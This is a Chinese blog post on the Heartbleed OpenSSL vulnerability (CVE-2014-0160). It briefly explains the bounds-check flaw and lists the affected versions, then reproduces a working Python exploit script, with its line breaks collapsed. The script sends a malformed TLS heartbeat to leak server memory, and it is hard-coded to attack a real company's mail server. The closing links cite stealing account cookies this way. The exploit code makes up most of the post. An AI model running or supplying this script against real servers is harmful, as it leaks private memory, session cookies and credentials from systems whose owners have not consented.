本文主要是介绍CVE-2014-0160 Heartbleed Bug,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
是什么:
Heartbleed漏洞,这项严重缺陷(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。
影响范围:
exp:OpenSSL 1.0.1 - OpenSSL 1.0.1f
OpenSSL 1.0.2-beta
http://zone.wooyun.org/content/21272
#!/usr/bin/python import sys import struct import socket import time import select import redef h2bin(x):return x.replace(' ', '').replace('\n', '').decode('hex')hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''')hb = h2bin(''' 18 03 02 00 03 01 40 00 ''')def hexdump(s):pdat = '' for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] pdat += ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print '%s' % (pdat.replace('......', ''),) printdef recvall(s, length, timeout=5):endtime = time.time() + timeoutrdata = ''remain = lengthwhile remain > 0:rtime = endtime - time.time() if rtime < 0:return Noner, w, e = select.select([s], [], [], 5)if s in r:data = s.recv(remain)# EOF?if not data:return Nonerdata += dataremain -= len(data)return rdatadef recvmsg(s):hdr = recvall(s, 5)if hdr is None:print 'Unexpected EOF receiving record header - server closed connection'return None, None, Nonetyp, ver, ln = struct.unpack('>BHH', hdr)pay = recvall(s, ln, 10)if pay is None:print 'Unexpected EOF receiving record payload - server closed connection'return None, None, Noneprint ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))return typ, ver, paydef hit_hb(s):s.send(hb)while True:typ, ver, pay = recvmsg(s)if typ is None:print 'No heartbeat response received, server likely not vulnerable'return Falseif typ == 24:print 'Received heartbeat response:'hexdump(pay)if len(pay) > 3:print 'WARNING: server returned more data than it should - server is vulnerable!'else:print 'Server processed malformed heartbeat, but did not return any extra data.'return Trueif typ == 21:print 'Received alert:'hexdump(pay)print 'Server returned error, likely not vulnerable'return Falsedef exp(arg):return True, argdef audit(arg):host, port = argtry:s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s.send(hello)while True:typ, ver, pay = recvmsg(s)if typ == None:return# Look for server hello done message.if typ == 22 and ord(pay[0]) == 0x0E:breaks.send(hb)if hit_hb(s):security_hole(host)s.close()except:passif __name__ == '__main__':audit(exp(('mail.fortinet.com.cn', 443))[1])
更多资料:
百度百科:Heartbleed
官方动态:http://heartbleed.com/
知乎讨论:https://www.zhihu.com/question/23328658/
wooyun实例:Fortinet邮箱服务器心脏滴血可抓账户cookie(更多案例可在wooyun搜索)
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